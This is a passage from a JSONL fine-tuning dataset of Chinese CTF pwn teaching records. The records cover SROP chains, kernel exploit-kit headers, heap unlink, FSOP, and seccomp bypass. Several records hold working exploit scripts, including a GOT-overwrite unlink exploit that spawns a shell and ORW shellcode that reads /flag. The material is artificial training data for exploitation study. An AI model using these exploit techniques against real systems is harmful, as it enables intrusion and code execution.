"ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-44e5e31f89ed54514dca", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「system call chains」。\n资料来源：stack.md；主题：栈利用；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### system call chains\n\n我们不仅可以通过 SROP 调用一个`syscall`，我们还可以一直劫持从而构造一个 SROP 链。\n\n+ 控制栈指针\n+ 把原来`rip`指向的`syscall` gadget 换成`syscall;ret` gadget。\n\n如下图所示，这样当每次`syscall`返回的时候，栈指针都会指向下一个Signal Frame。因此就可以执行一系列的`sigreturn`函数调用。\n\n通过设置 `Signal Frame` 的 rsp 的值栈迁移，可以连读多次进行 SROP。\n\n[图片: image]\n\n我们将`rsp`中的内容填入下一个片段的`rt_sigreturn`的地址，而且`rip`的地址一直指向`syscall;ret`。\n\n需要特别注意的是一定要存在`ret`，不然我们无法返回到下一个片段。", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-45ee32ea3262cf2b", "original_line": 597, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "split_group_key": "5d29b793664b20592ba25f84"}, "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-4619919bddf289217ffb", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/HexDump.h` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/HexDump.h`\n\n分类：kernel\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n\n利用主题关键词：\n- io-file/fsop\n- seccomp/orw\n\n训练用代码片段：\n```c\n/*\n * Copyright 2025 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n#pragma once\n\n#include \n#include \n#include \n#include \n#include \n\n/**\n * @defgroup util_classes Utility Classes\n * @brief Helper classes for various utilities.\n */\n\n/**\n * @ingroup util_classes\n * @class HexDump\n * @brief Utility class for generating hexadecimal dumps of memory.\n */\nclass HexDump {\npublic:\n    /**\n     * @brief Generates a hexadecimal dump of a memory buffer into a character array.\n     * @param dst The destination character array to write the dump to.\n     * @param buf The buffer containing the data to dump.\n     * @param len The number of bytes to dump.\n     * @note The dst buf needs to be large enough to store all the data. 16 bytes are converted into: \"00 11 22 33 44 55 66 77  88 99 AA BB CC DD EE FF  |  0123456789ABCDEF\\n\" (70 bytes)\n     */\nstatic void Dump(char* dst, const uint8_t* buf, int len);\n\n/**\n * @brief Generates a hexadecimal dump of a memory buffer into a string.\n * @param buf The buffer containing the data to dump.\n * @param len The number of bytes to dump.\n * @return A string containing the hexadecimal dump.\n */\nstatic std::string Dump(const void* buf, int len);\n\n/**\n * @brief Generates a hexadecimal dump of a vector of bytes into a string.\n * @param data The vector of bytes to dump.\n * @return A string containing the hexadecimal dump.\n */\nstatic std::string Dump(const std::vector& data);\n\n/**\n * @brief Prints a hexadecimal dump of a memory buffer to the standard output.\n * @param buf The buffer containing the data to dump.\n * @param len The number of bytes to dump.\n */\nstatic void Print(const void* buf, int len);\n\n/**\n * @brief Prints a hexadecimal dump of a vector of bytes to the standard\n * output.\n * @param data The vector of bytes to dump.\n */\nstatic void Print(const std::vector& data);\n};\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-ae17fa99ba341bef", "original_line": 310, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/HexDump.h", "split": "train", "split_group_key": "5991aebd6f3b765c7d7536b5"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/HexDump.h", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-4660e998468e15e0f6ec", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「unsortedbin leak libc addr」。\n资料来源：IO-FILE/[CISCN 2022 华东北]duck/WP.md；主题：[CISCN 2022 华东北] duck - Pwn Writeup；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "# unsortedbin leak libc addr\nfor i in range(9):\n    add()\nfor i in range(1, 9):\n    dele(i)\n\nshow(8)\nr()\nlibc_addr = u64(r(6).ljust(8, b\"\\x00\")) - 0x1f2cc0\n\none_gadget = [0xda861, 0xda864, 0xda867]\n_IO_file_jumps = libc_addr + libc.symbols[\"_IO_file_jumps\"]\n\ntarget = ((heap_base + 0x8f0) >> 12) ^ _IO_file_jumps\nedit(b\"7\", b\"8\", p64(target))\n\nadd()\nadd()\n\nedit(b\"11\", b\"64\", p64(0) * 3 + p64(one_gadget[1] + libc_addr))\nio.interactive()\n```\n\n原文件中间有一行：\n\n```python\ndbg()\n```\n\n实际打远程或本地直接跑时需要注释掉，否则会停在 gdb attach。\n\n---", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-0956f7d4870be0d6", "original_line": 179, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/[CISCN 2022 华东北]duck/WP.md", "split": "train", "split_group_key": "8a82ea35d8808d6caff7e707"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/[CISCN 2022 华东北]duck/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-469e54de4f8ab32f97b3", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「程序功能」。\n资料来源：Heap/off-by-one/2024ylb-null/WP.md；主题：2024ylb-null Writeup；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 程序功能\n\n程序是一个最多 32 个 chunk 的菜单堆：\n\n```text\n1.ADD\n2.CHANGE\n3.PRINT\n4.DEL\n```\n\n全局数组：\n\n```c\nvoid *Page[32];\nint Size[32];\n```\n\n关键逻辑：\n\n- `create()`：输入 `idx` 和 `size`，要求 `idx <= 31`、对应指针为空、`size <= 0x100`，随后 `malloc(size)`，并保存到 `Page[idx]` / `Size[idx]`。\n- `edit()`：按 `Size[idx]` 调用自写输入函数 `vuln(Page[idx], Size[idx])`。\n- `show()`：直接 `printf(\"Content: %s\", Page[idx])`，可用来泄露未清零 chunk 中的 libc 指针。\n- `del()`：`free(Page[idx])` 后会清空 `Page[idx]` 和 `Size[idx]`，常规 UAF 被规避。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-cb2715bb9366550f", "original_line": 120, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/off-by-one/2024ylb-null/WP.md", "split": "train", "split_group_key": "d6b6a0a5a29a7b1892b4d993"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/off-by-one/2024ylb-null/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-47285265dc947eac0bbb", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/payloads/PayloadBuilder.h` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/payloads/PayloadBuilder.h`\n\n分类：kernel\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n\n利用主题关键词：\n- io-file/fsop\n- stack/rop\n\n训练用代码片段：\n```c\n/*\n * Copyright 2025 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n/**\n * @file PayloadBuilder.h\n * @brief Defines the PayloadBuilder class for constructing complex exploit payloads.\n */\n#pragma once\n\n#include \n#include \n#include \n#include \n\n// Project-specific includes\n#include \n#include \n#include \n#include \n#include \n\n/**\n * @defgroup payloads_classes Payloads Classes\n * @brief Classes for generating and managing payloads.\n */\n\n/**\n * @ingroup payloads_classes\n * @brief Helper struct to encapsulate payload data for the builder.\n *\n * This struct groups a Payload object, associated registers, and an optional\n * offset for the next RIP (Instruction Pointer).\n *\n * @note The `registers` member is stored by value, meaning a copy is made.\n */\nstruct PayloadData {\n    Payload& payload;                          ///< @brief Reference to the Payload object.\n    const std::vector registers;     ///< @brief Registers pointing to this buffer when RIP control is triggered.\n    const std::optional rip_ptr_offset; ///< @brief Optional offset of a field containing a function pointer which if overwritten can lead to RIP control. If nullopt, then this payload does not contain such a field.\n\n    /**\n     * @brief Constructs a PayloadData instance.\n     * @param payload_ref Reference to the Payload.\n     * @param regs Optional vector of Registers pointing to this buffer when RIP control is triggered (defaults to empty).\n     * @param rip_ptr_offset Optional offset of a field containing a function pointer which if overwritten can lead to RIP control. If nullopt, then this payload does not contain such a field.\n     */\n    PayloadData(Payload &payload_ref,\n                const std::vector ®s = {},\n                std::optional rip_ptr_offset = std::nullopt)\n        : payload(payload_ref), registers(regs), rip_ptr_offset(rip_ptr_offset)\n    {\n    }\n};\n\n\n/**\n * @ingroup payloads_classes\n * @brief Converts a 64-bit unsigned integer to its hexadecimal string representation.\n * @param value The 64-bit unsigned integer to convert.\n * @return A `std::string` containing the \"0x\" prefixed hexadecimal representation\n * of the value (uppercase).\n */\nstd::string intToHex(uint64_t value);\n\n\n/**\n * @ingroup payloads_classes\n * @class PayloadBuilder\n * @brief A class designed to construct and optimize exploit payloads.\n *\n * This builder manages multiple payload components, ROP (Return-Oriented Programming)\n * chains, and stack pivots to create a cohesive and functional exploit payload.\n * It attempts to find suitable stack pivots and apply ROP actions efficiently.\n *\n * @details\n * The implementation tracks `StackShiftingInfo` for every `RopAction`. If two actions\n * can be stored adjacently, the `StackShiftingInfo` between them will represent an empty shift.\n\n# ... 中间内容省略，保留关键利用片段 ...\n\n     * @brief Estimates the contiguous free space after a given offset in a payload.\n     * payload layouts. It assumes 8-byte (uint64_t) alignment for free space.\n     * @param offset The starting offset from which to estimate free space.\n     * @return The estimated available free space in bytes.\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-76b70bbae96e486c", "original_line": 300, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/payloads/PayloadBuilder.h", "split": "train", "split_group_key": "a0d2cccbff3b2e50b3df54a0"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/payloads/PayloadBuilder.h", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-47ac572e43b7744af9b5", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「方法2——3个值构造」。\n资料来源：Stack/ret2dlresolve/dl_resolve_64/dl_resolve-any_gadget.md；主题：dl_resolve-any_gadget；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "##### 方法2——3个值构造\n\n​\t代码可参考**stage6_libc2_64.py**。\n\n​\t把link_map+0x68/0x70/0xf8处的值记作val_0x68，val_0x70，val_0xf8，也即[link_map+0x68/0x70/0xf8]。跟踪发现，是这样寻找的：\n\n> [val_0x68+4]==STRTAB    dynstr\n>\n> [val_0x70+4]==SYMTAB   dynsym\n>\n> [val_0xf8+4]==JMPREL      rel_plt\n\n \t可以把dynstr、dynsym、rel_plt这3个地址都设置为同一个值base_stage（val_0x68=val_0x70=val_0xf8=base_stage+0xc0-8，[0xc0]=base_stage），这样布置bss段伪造栈就更简洁。\n\n\n###参考：\n\n\n\n", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-0078520e7de21796", "original_line": 581, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2dlresolve/dl_resolve_64/dl_resolve-any_gadget.md", "split": "train", "split_group_key": "797d0effc87ee7204e563363"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2dlresolve/dl_resolve_64/dl_resolve-any_gadget.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-47e79f713a93716dcddc", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/target/Target.h` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/target/Target.h`\n\n分类：kernel\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n\n利用主题关键词：\n- io-file/fsop\n- seccomp/orw\n- kernel\n- stack/rop\n\n训练用代码片段：\n```c\n/*\n * Copyright 2025 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n#pragma once\n\n#include \n#include \n#include \n#include \n#include \n\n/**\n * @defgroup target_classes Target Classes\n * @brief Classes for managing and representing targets.\n */\n\n/**\n * @ingroup target_classes\n * @brief Enum for predefined ROP action IDs.\n */\nenum struct RopActionId: uint32_t {\n    MSLEEP = 0x01,\n    COMMIT_INIT_TASK_CREDS = 0x02,\n    SWITCH_TASK_NAMESPACES = 0x03,\n    WRITE_WHAT_WHERE_64 = 0x04,\n    FORK = 0x5,\n    TELEFORK = 0x6,\n    KPTI_TRAMPOLINE = 0x07,\n};\n\n/**\n * @ingroup target_classes\n * @brief Enum for the types of ROP items.\n */\nenum struct RopItemType: uint8_t {\n    CONSTANT_VALUE = 0,\n    SYMBOL = 1,\n    ARGUMENT = 2\n};\n\n/**\n * @ingroup target_classes\n * @brief Represents a single item in a ROP chain.\n */\nstruct RopItem {\n    RopItemType type;\n    uint64_t value;\n\n    RopItem(RopItemType type, uint64_t value): type(type), value(value) { }\n};\n\n/**\n * @ingroup target_classes\n * @brief Metadata for a ROP action argument.\n */\nstruct RopActionArgMeta {\n    std::string name;\n    bool required;\n    uint64_t default_value;\n\n    RopActionArgMeta(std::string name, bool required, uint64_t default_value)\n        : name(name), required(required), default_value(default_value) { }\n};\n\n/**\n * @ingroup target_classes\n * @brief Metadata for a ROP action.\n */\nstruct RopActionMeta {\n    std::string desc;\n    std::vector args;\n\n    RopActionMeta() {}\n    RopActionMeta(std::string desc): desc(desc) { }\n};\n\n/**\n\n# ... 中间内容省略，保留关键利用片段 ...\n\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-05ce7faa04b8a18b", "original_line": 308, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/target/Target.h", "split": "train", "split_group_key": "39d55817e0f1594ef68f8cbc"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/target/Target.h", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-48da022629ffd53d771c", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「2.3 沙箱限制」。\n资料来源：IO-FILE/house of apple2/2024ylb futureheap/WP.md；主题：2024ylb futureheap WP；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 2.3 沙箱限制\n\n程序安装 seccomp，禁用了：\n\n```text\nwrite\nopen\nsocket\nexecve\nexecveat\n```\n\n因此不能直接 `system(\"/bin/sh\")`，也不能用普通 `open + write`。但 `openat` 和 `sendfile` 没被禁，可以使用：\n\n```asm\nopenat(0, \"/flag\", 0)\nsendfile(1, fd, 0, 0x100)\n```", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-ce5506d0da53cbc3", "original_line": 211, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024ylb futureheap/WP.md", "split": "train", "split_group_key": "8872b8a958dc5167d996bedd"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024ylb futureheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "seccomp", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-493508f725de3180249f", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Seccomp绕过/2025gxqs-shellcode/b.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Seccomp绕过/2025gxqs-shellcode/b.py`\n\n分类：seccomp\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `dbg`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x100`, `0x200`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('vuln')\nlibc = elf.libc\nio = process([elf.path])\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\nFLAG = u64(b\"/flag\\x00\".ljust(8, b'\\x00'))\n\nshellcode = f'''\nmov rax, {FLAG}\npush rax\nmov rsi, rsp\nmov rdi, -100\nmov edx, 0\nmov r10, 0\nmov rax, 257\nsyscall\n\nmov rdi, rax\nsub rsp, 0x200\nmov rsi, rsp\nmov edx, 0x100\nmov r10, 0\nmov rax, 17\nsyscall\n\nmov rcx, rax\nmov r15, rsi\n\nsub rsp, 16\nmov [rsp], r15\nmov [rsp+8], rcx\n\nmov rsi, rsp\nmov edi, 1\nmov edx, 1\nmov rax, 20\nsyscall\n'''\n\ns(asm(shellcode))\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "seccomp", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-3bf8011d56d223f4", "original_line": 500, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/2025gxqs-shellcode/b.py", "split": "train", "split_group_key": "6f96160f31d83a5b1a67f55a"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/2025gxqs-shellcode/b.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-49853b92f45e19dcb64d", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/unlink/hitcontraining_unlink/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/unlink/hitcontraining_unlink/exp.py`\n\n分类：heap\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `add`\n- `dbg`\n- `delete`\n- `edit`\n- `get_sb`\n- `show`\n\n利用主题关键词：\n- heap/tcache\n\n关键常量/偏移样例：\n`0x6020C8`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef get_sb():\n\treturn libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\\x00'))\n\ndef dbg(c=0):\n\tif c:\n\t\tgdb.attach(io, c)\n\telse:\n\t\tgdb.attach(io)\n\t\tpause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('bamboobox.bamboobox')\nio = process([elf.path])\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\nlibc=ELF(\"/glibc/2.23/amd64/lib/libc.so.6\")\n\ndef add(length,name):\n\tru(':')\n\tsl('2')\n\tru(':')\n\tsl(str(length))\n\tru(':')\n\tsl(name)\n\ndef edit(idx,length,name):\n\tru(':')\n\tsl('3')\n\tru(\":\")\n\tsl(str(idx))\n\tru(\":\")\n\tsl(str(length))\n\tru(\":\")\n\tsl(name)\n\ndef delete(idx):\n\tru(\":\")\n\tsl(\"4\")\n\tru(\":\")\n\tsl(str(idx))\n\ndef show():\n\tru(\":\")\n\tsl(b\"1\")\n#dbg()\nadd(0x40,'aaaaaaaa')\nadd(0x80,'bbbbbbbb')\nadd(0x80,'cccccccc')\n\nptr = 0x6020C8  #存放chunk指针的数组在bss段上的地址\n#这里我们绕过第一个检查 (检查p和其前后的chunk是否构成双向链表)\n#伪造的fake_chunk为free状态\nfake_chunk = p64(0) + p64(0x41)  #fake_chunk header\nfake_chunk += p64(ptr-0x18) + p64(ptr-0x10) #fake_chunk fd  bk\nfake_chunk += b'C'*0x20\n#覆盖后一个chunk的prev_size和size\n#让它的prev_size表示前一个chunk的大小，并且chunk的size改为0x90让其不会释放进入fastbins\nfake_chunk += p64(0x40) # 1的presize\nfake_chunk += p64(0x90) # 1的size\n\n#进行堆溢出\nedit(0,0x80,fake_chunk)\n#释放掉chunk1，进行合并\ndelete(1)  #前向合并，合并0中的fake_chunk  放入 unsorted bin 中 ,同时 ptr = &itemlist0_ptr -0x18\npayload = p64(0)*2 + p64(0x40) + p64(elf.got['atoi']) #覆盖的itemlist[0]->ptr 为atoi_got\nedit(0,0x80,payload)\n\nshow()\n\nru('0 : ')\natoi = uu64()\nlibc_base = atoi - libc.sym['atoi']\nlg(\"libc_base\",libc_base)\nsystem,sh = get_sb()\n#将itemlist[0]即atoi函数的got表修改为system\n#通过编辑通过编辑got表指针，实现任意地址写\nedit(0,8,p64(system))\n#然后通过atoi进行getshell\nsla('Your choice:','/bin/sh\\x00')\nia()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-0b358494abb92930", "original_line": 43, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/unlink/hitcontraining_unlink/exp.py", "split": "train", "split_group_key": "1b3c62318600b91d528e14d3"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/unlink/hitcontraining_unlink/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-4aa87be34e4a5b572ce9", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「原理」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 原理\n\n`free()`函数`free`掉`chunk`时先判断`chunk`的大小和所处的位置，若`chunk_size<=global_max_fast`（64字节），并且`chunk`不与`top chunk`相邻，则将`chunk`放到`fast bins`中，`chunk`放到`fast bins`中，释放便结束了，程序从`free`函数中返回。\n\n先释放 chunk1，如果此时再次释放 chunk1 会触发对 double free 的检查：\n\n```c\nif (__builtin_expect(old == p, 0)) {\n    errstr = \"double free or corruption (fasttop)\";\n    goto errout;\n}\n```\n\n由于只检查链表中第一个 chunk 是否是待释放的 chunk ，因此可以通过先释放 chunk2 再释放 chunk1 绕过。\n\n\"Pasted\n\n此时`malloc`获取 chunk1 等价于 UAF 